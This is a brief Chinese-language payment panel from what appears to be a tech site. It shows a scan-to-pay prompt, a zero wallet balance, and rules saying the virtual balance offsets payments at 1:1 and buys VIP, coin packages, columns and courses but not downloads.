扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值